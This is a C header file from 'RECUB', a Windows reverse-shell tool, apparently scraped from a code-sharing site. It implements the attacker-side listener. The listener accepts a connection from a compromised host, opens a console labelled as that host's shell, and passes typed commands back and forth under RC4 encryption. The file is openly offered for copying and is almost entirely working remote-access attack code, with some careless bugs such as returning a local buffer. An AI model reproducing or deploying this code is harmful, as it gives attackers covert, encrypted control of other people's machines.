📄 serv.h
字号:
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
// //
// RECUB //
// By Hirosh //
// www.hirosh.net //
// www.eos-india.net //
// //
//Thanks for starch at http://mir-os.sourceforge.net For the idea,I started this by //
//porting his version in linux to win32,after some time i stoped porting bc i prefer //
//a small EXE heheh..,and thanks to NC source too.. //
// //
// No CopyRights - Feel Free to Cut & Paste //
// //
// //
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
#include <winsock2.h>
char* GetLocalIP(){
WORD wVersionRequested;
WSADATA wsaData;
char name[255];
char localip[255];
PHOSTENT hostinfo;
wVersionRequested = MAKEWORD( 2, 0 );
if ( WSAStartup( wVersionRequested, &wsaData ) == 0 )
{
if( gethostname ( name, sizeof(name)) == 0)
{
if((hostinfo = gethostbyname(name)) != NULL)
{
lstrcpy(localip, inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list));
}
}
WSACleanup( );
}
return localip;
}
int revport;
char srvip[100];
HANDLE hStdout, hStdin;
DWORD WINAPI ReadandSendThread( LPVOID l);
DWORD cRead, cWritten, fdwMode, fdwOldMode;
extern char pass[100];
BOOL exitok=FALSE;
DWORD WINAPI ReciveConnectThread( LPVOID l)
{
WSADATA wsaData;
SOCKET server;
struct sockaddr_in local;
int wsaret=WSAStartup(0x101,&wsaData);
if(wsaret!=0) return 0;
local.sin_family=AF_INET;
local.sin_addr.s_addr=INADDR_ANY;
local.sin_addr.s_addr=inet_addr(GetLocalIP());
local.sin_port=htons((u_short)revport);
server=socket(AF_INET,SOCK_STREAM,0);
if(server==INVALID_SOCKET){
MessageBox(0,"error0 ","r",MB_OK);
return 0;
}
if(bind(server,(struct sockaddr*)&local,sizeof(local))!=0){
MessageBox(0,"error1 ","r",MB_OK);
return 0;
}
if(listen(server,25)!=0){
MessageBox(0,"error2 ","r",MB_OK);
return 0;
}
SOCKET client;
struct sockaddr_in from;
int fromlen=sizeof(from);
//while(1) {
char buff[1024];
client=accept(server,(struct sockaddr*)&from,&fromlen);
if(client!=INVALID_SOCKET){
AllocConsole();
hStdin = GetStdHandle(STD_INPUT_HANDLE);
hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
char conTitle[200];
if (hStdin == INVALID_HANDLE_VALUE || hStdout == INVALID_HANDLE_VALUE)
{
MessageBox(0,"err0","w",MB_OK);
}
if (! SetConsoleTextAttribute(hStdout,FOREGROUND_BLUE|FOREGROUND_INTENSITY )) MessageBox(0,"err2","w",MB_OK);
wsprintf(conTitle,"RECUB Client V1.0 - Shell of %s",srvip);
SetConsoleTitle(conTitle);
DWORD sdw;
char readbuff[20000];
CreateThread( NULL, 0, ReadandSendThread,(LPVOID)client, 0, &sdw);
while(1)
{
Sleep(1);
memset(buff,0,sizeof(buff));
int n=recv(client,readbuff,sizeof(readbuff),0);
if (n>0){
char mess[100];
wsprintf(mess,"%d",n);
//MessageBox(0,mess,mess,MB_OK);
DecryptRC4(pass,readbuff,n) ;
WriteConsole( hStdout,readbuff,n,&cWritten, NULL);
}
}
}
closesocket(client);
return 0;
}
DWORD WINAPI ReadandSendThread( LPVOID l)
{
SOCKET s=(SOCKET)l;
char buff[100];
while(1)
{
Sleep(0);
memset(buff,sizeof(buff),0);
if (!ReadConsole( hStdin, buff,sizeof(buff), &cRead, NULL) ) break;
else{
buff[cRead]=0;
if (strcmpi(buff, "exit\r\n") == 0) exitok=TRUE;
EncryptRC4(pass,buff,cRead) ;
send(s,buff,cRead,0);
memset(buff,sizeof(buff),0);
if (exitok) {
ExitProcess(0);
}
}
}
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -